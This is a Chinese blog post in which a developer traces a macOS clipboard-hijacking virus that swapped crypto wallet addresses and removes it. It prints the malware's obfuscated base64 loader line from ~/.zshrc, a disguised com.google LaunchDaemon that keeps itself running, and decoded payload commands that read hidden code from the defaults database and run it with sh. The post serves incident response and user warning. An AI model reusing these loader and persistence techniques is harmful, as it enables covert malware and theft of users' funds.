Mac也会中病毒!苦苦排查3天终于揪出凶手

six73764 发布于 2026-01-01 32 次阅读


发现

说来也是个巧合,我的mac主用于软件开发,几乎不怎么处理加密货币相关业务,发现中了病毒是在一次偶然间,我负责一串数据库里的字符串,然后去网页的后台查询,发现复制出来的居然是一串陌生字符串!我还以为是我复制错了,但是我的mac安装了maccy(剪贴板软件)一打开发现:不对,我负责的那个字符串之后的短时间,我又复制了一个陌生的字符串,而我并没执行过这种操作,我一看复制的陌生字符串,完全符合一个钱包地址的特征!我这才意识到,我中了剪贴板病毒。
ps:前一天我还在和别人说,mac不会中毒 2333

初步排查

所有问题第一步肯定是复现,好在是我这个替换几乎100%复现,比如我复制一个钱包地址(vsuuW结尾)

会立马出现第二个钱包地址(i47hg结尾)如图所示
而且有以下特征,比如我在tg复制,立马切到chrome

显示的是chrome触发的复制,这说明不是单一应用劫持(chrome插件或者tg中文包污染)
那问题就来了,这是一个系统级的劫持。

第一次清理

既然是一个系统级劫持,那么我首先想到的是翻看系统日志,于是我向chatgpt要了几个指令,但是随之而来的是茫茫多的日志,根本看不过来。我也排查了我的启动项和后台运行项目,关闭了所有未知的和非官方的,于是我换了个思路,思考一般恶意脚本是怎么实现的,一番搜索后,锁定了osascript,这是最危险的工具之一。黑客可以编写一段简单的脚本,通过 osascript 运行。它可以调用 get the clipboardset the clipboard to 来读取和篡改内容。

于是我向chatgpt又要了一个指令ps aux | grep osascript。这一次揪出了恶意进程

我的进程列表出现了这种及其不正常的进程,这100%是恶意进程,于是我杀死了他,剪贴板被替换的问题果然不再出现了,很明显,他就是元凶。到这里,我以为事情告一段落了。

卷土重来

第二天,我如往常一样打开电脑,同时我留个了心眼,执行了ps aux | grep osascript,发现进程列表十分干净,于是我开始进行工作,一段时间后,心血来潮下,我突发奇想又试了试复制一个地址,然后我的地址又被替换了!我一查发现,这个神秘的恶意进程又出现了,这一次我留了一个心眼,先没着急杀死他,我记下了他的pid,并试图反查ppid(父进程),发现它的ppid=1,这就说明,他是通过启动项拉起的,但是我细细思考,我刚启动电脑时并没有立刻出现中毒症状,我的启动项也是干净的,于是我通过lsof -p PID 来查询这个进程的文件操作历史,一查发现:

他是通过我的/tmp目录下的一个y.app拉起的,并且我查询这个文件,发现他在拉起恶意进程后就自动删除了,说明他也只是整个病毒运行链的其中一环,而不是源头,于是我还要接着排查,根据ai的提示,我再次运行sudo lsof -p 31727 ,并关心他与其他进程的ppie通讯,发现它通过ppie在和另一个进程频繁通讯

于是我通过
sudo lsof -a -p 31727 -d 6,7,8
sudo lsof -n | grep -E "0x9e61b9c98c424d0f|0x9afc78cb9a48e4a6"
查看他的对端通讯进程,发现是一个名字叫do的进程,至此,已经有了大致排查方向。

在 macOS 原生系统中,并没有一个合法的标准进程叫 do。它极大概率是一个伪装成常用词的恶意二进制文件。由于它正开着管道,说明它还在活跃。ai让我通过sudo launchctl procinfo 34003查看他的启动详情,但是由于他的输出是一串我完全看不懂的东西, 于是我直接把它丢给了ai,这里贴一下ai的解释:

真相大白

我按照ai的提示,运行了tail ~/.zshrc

终于真相大白了,我的zshrc被污染了,仔细看这行
((echo KChkZ......SAmKQo= | base64 --decode | sh) >/dev/null 2>&1 &)

解码后的内容是:
(defaults read 0e963c nbujy_rixbu_ibn | base64 --decode | env SRC='Terminal' sh)
他从我的defaults数据库中读取一个名为 0e963c 的隐藏配置项,再次解码并直接丢给 sh 执行。这就是为什么我一值找不到 /tmp/sz 的原因——它直接从注册表一样的数据库里读取指令并运行。
同时,我使用ls -la /Library/LaunchAgents ls -la /Library/LaunchDaemons再次排查我的启动项,这次我发现了一个不正常的启动项

这个com.google.rbklpc.plist我上网一查,根本没有这个启动项,我再
cat /Library/LaunchDaemons/com.google.rbklpc.plist一看

果然就是它,根据ai的解释:

1. 核心属性分析

  • <key>Label</key> <string>com.google.rbklpc</string>
    • 这是服务的唯一标识符。
    • 恶意点: 故意起名为 com.google.xxx,是为了混淆视听,让用户在查看活动监视器或自启动项时,误以为这是 Google 浏览器的官方更新服务。
  • <key>RunAtLoad</key> <true />
    • 作用: 只要电脑开机,或者该文件被加载,立即启动命令。
  • <key>KeepAlive</key> <true />
    • 作用: 这是最流氓的设置。 如果你手动强制杀死了它启动的进程,macOS 会认为该程序“异常崩溃”,并立即重新启动它。这解释了为什么你之前可能杀不死那个 osascript 进程。
  • <key>StartInterval</key> <integer>3600</integer>
    • 作用: 每隔 3600 秒(1 小时) 强制重新触发一次命令。这确保了即使没有触发开机启动,它也能定时检查并重新注入恶意代码。

2. 执行命令解码 (Payload)

这是最核心的部分。它运行了一个隐藏的 Bash 命令:

原始代码: echo c3VkbyAtdSAnYTY0NjczJyBkZWZhdWx0cyByZWFkICcwZTk2M2MnICdqaWl1X3J6eWFpenMnIHwgYmFzZTY0IC0tZGVjb2RlIHwgc2gK | base64 --decode | sh

Base64 解码后的内容: sudo -u 'a64673' defaults read '0e963c' 'jiiu_rzyaizs' | base64 --decode | sh

这行命令在做什么?

  1. sudo -u 'a64673':以你的用户身份(a64673)执行后面的操作。
  2. defaults read '0e963c' 'jiiu_rzyaizs':去 macOS 的“注册表”(defaults)里查找一个名为 0e963c 的域,读取其中 jiiu_rzyaizs 的值。
  3. 核心机密:木马没有把真正的恶意脚本写在磁盘上,而是藏在了系统的配置数据库里。这样普通的杀毒软件扫描文件时根本发现不了它。
  4. | base64 --decode | sh:将读取出来的配置内容(即真正的剪贴板劫持代码)解码,然后直接丢给 Shell 执行。

3. 它的完整工作链路

  1. 加载: 系统启动,/Library/LaunchDaemons 下的这个文件被读取。
  2. 提权与降权: 配置文件本身在系统目录(/Library),拥有 Root 权限,但它通过 sudo -u 降权到你的账户来操作你的剪贴板(因为剪贴板是用户级的)。
  3. 内存运行: 它从系统的隐藏配置数据库中拉取代码,直接在内存中通过 osascript 运行。
  4. 持久化: 只要你在使用电脑,它每小时都会检查一次。如果你手动删除了 ~/.zshrc 里的那行,这个守护进程也会在下一小时再次把它写回去。


至此,算是彻底找出了他的源头,我清理了defaults数据库,~/.zshrc 恶意行,以及这个plist文件,终于是彻底清理干净了这个病毒,至于是什么时候感染的,干了什么,我已经完全没印象了,也许是某个软件的破解脚本?也许是某个github上的未知sh。

结语

我一直以为这种病毒离我很远,长久以来我使用windows电脑都没中过病毒,没想到居然在mac上遭了。当然,也有可能是从win转到mac,下意识的感觉macos不会中毒,放松了警惕,没有验证脚本内容就执行了,也有可能是我之前都并没有参加生产活动,电脑数据没有价值。这一次如果不是我有使用加密货币的行为+有去了解过常见的加密货币盗取手段,也没有那么容易发现问题,可能真的就当是复制错了。

在这里也提醒看我博客的各位,电脑安全不是小事,不要执行未经验证的sh脚本,不要下载来历不明的软件,尽量使用热门的开源项目以及官方的软件,如果有使用加密货币的伙伴,也要注意,转账一定要核对清楚地址,再三确认。最后,谢谢大家的观看,如果有帮到你排查出电脑上的病毒,那最好不过,也要感觉chatgpt和gemini,虽然问多了幻觉很严重,但是给了我很重要的排查方向。

此作者没有提供个人介绍。
最后更新于 2026-01-01